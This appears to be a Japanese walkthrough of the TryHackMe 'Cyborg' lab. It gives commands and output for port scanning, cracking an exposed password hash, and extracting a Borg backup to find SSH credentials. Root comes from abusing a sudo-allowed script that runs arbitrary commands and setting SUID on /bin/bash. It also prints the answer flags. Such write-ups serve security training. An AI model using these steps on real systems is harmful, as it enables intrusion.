概要
TryHackMe「Cyborg」のWalkthroughです。
Task2
Q1.Scan the machine, how many ports are open?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -p- 10.201.65.68 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
| 256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)
|_ 256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache/2.4.18 |
A.2
Q2.What service is running on port 22?
ポートスキャンの結果から、22番ポートではSSHが動作していると分かりました。
A.ssh
Q3.What service is running on port 80?
ポートスキャンの結果から、80番ポートではHTTPが動作していると分かりました。
A.http
Q4.What is the user.txt flag?
ディレクトリスキャンをすると、/admin
や/etc
を発見しました。
$ dirsearch -u http://10.201.65.68/
[08:52:59] 301 - 312B - /admin -> http://10.201.65.68/admin/
[08:52:59] 200 - 2KB - /admin/
[08:53:00] 200 - 2KB - /admin/admin.html
[08:53:00] 200 - 2KB - /admin/index.html
[08:53:27] 301 - 310B - /etc -> http://10.201.65.68/etc/
[08:53:27] 200 - 445B - /etc/
/etc
にアクセスすると、/etc/squid
を発見しました。
/etc/squid
には二つのファイルが用意されています。
/etc/squid/passwd
を見ると、認証情報を得られました。
$ curl http://10.201.65.68/etc/squid/passwd
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
片方がハッシュ値なので、アルゴリズムを確認すると、MD5(APR)
だと分かりました。
$ hashid '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.'
Analyzing '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.'
[+] MD5(APR)
[+] Apache MD5
ハッシュ値を解析し、平文を特定できました。
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
squidward (?)
さらに、/admin
配下を列挙すると/admin/archive.tar
を発見しました。
$ dirsearch -u http://10.201.65.68/admin
[08:58:36] 200 - 2KB - /admin/admin.html
[08:58:54] 200 - 1MB - /admin/archive.tar
archive.tar
をダウンロードし、解凍します。
$ tar -xvf archive.tar
home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1
README
を見ると、Borg Backup
というツールでバックアップがとられているようです。
$ cat README
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
URLからドキュメントを確認できました。
borgbackup
ツールをインストールします。
$ sudo apt -y install borgbackup
ドキュメントからextract
オプションの使用方法が分かりました。
/admin/admin.html
の内容では、music_archive
に言及がされていました。
判明したパスワードsquidward
を使用して、borg extract
コマンドを実行します。
$ borg extract ./home/field/dev/final_archive::music_archive
Enter passphrase for key /home/kali/Cyborg/home/field/dev/final_archive:
新たにhome/alex
を発見できました。
$ ls -la home/alex
total 64
drwxr-xr-x 12 kali kali 4096 Dec 29 2020 .
drwxrwxr-x 4 kali kali 4096 Sep 17 09:25 ..
-rw------- 1 kali kali 439 Dec 28 2020 .bash_history
-rw-r--r-- 1 kali kali 220 Dec 28 2020 .bash_logout
-rw-r--r-- 1 kali kali 3637 Dec 28 2020 .bashrc
drwx------ 4 kali kali 4096 Dec 28 2020 .config
drwx------ 3 kali kali 4096 Dec 28 2020 .dbus
drwxrwxr-x 2 kali kali 4096 Dec 29 2020 Desktop
drwxrwxr-x 2 kali kali 4096 Dec 29 2020 Documents
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Downloads
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Music
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Pictures
-rw-r--r-- 1 kali kali 675 Dec 28 2020 .profile
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Public
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Templates
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Videos
home/alex/Documents/note.txt
から、alexの認証情報を得られました。
$ cat Documents/note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!
alex:S3cretP@s3
得られた認証情報でSSH接続に成功しました。
$ ssh alex@10.201.65.68
alex@ubuntu:~$ whoami
alex
ユーザーフラグを入手できました。
alex@ubuntu:~$ cat user.txt
flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}
A.flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}
Q5.What is the root.txt flag?
sudo -l
を確認すると、/etc/mp3backups/backup.sh
が許可されています。
alex@ubuntu:~$ sudo -l
Matching Defaults entries for alex on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alex may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
/etc/mp3backups/backup.sh
の処理を確認します。
#!/bin/bash
sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
#a="/etc/mp3backups/backed_up_files.txt"
# b=$(basename $input)
#echo
# echo "$line"
#done < "$input"
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"
# Where to backup to.
dest="/etc/mp3backups/"
# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
cmd=$($command)
echo $cmd
/etc/mp3backups/backup.sh
の-c
引数で任意のコマンドを実行しています。
ここで権限昇格が出来そうです。
(省略)
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
(省略)
cmd=$($command)
echo $cmd
/etc/mp3backups/backup.sh
の-c
オプションを利用し、/bin/bash
にSUIDを設定します。
alex@ubuntu:/etc/mp3backups$ sudo /etc/mp3backups/backup.sh -c "chmod u+s /bin/bash"
alex@ubuntu:/etc/mp3backups$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jul 12 2019 /bin/bash
SUIDを設定したので、root権限を取得できました。
alex@ubuntu:/etc/mp3backups$ /bin/bash -p
bash-4.3# whoami
root
ルートフラグを入手できました。
bash-4.3# cat /root/root.txt
flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}
A.flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}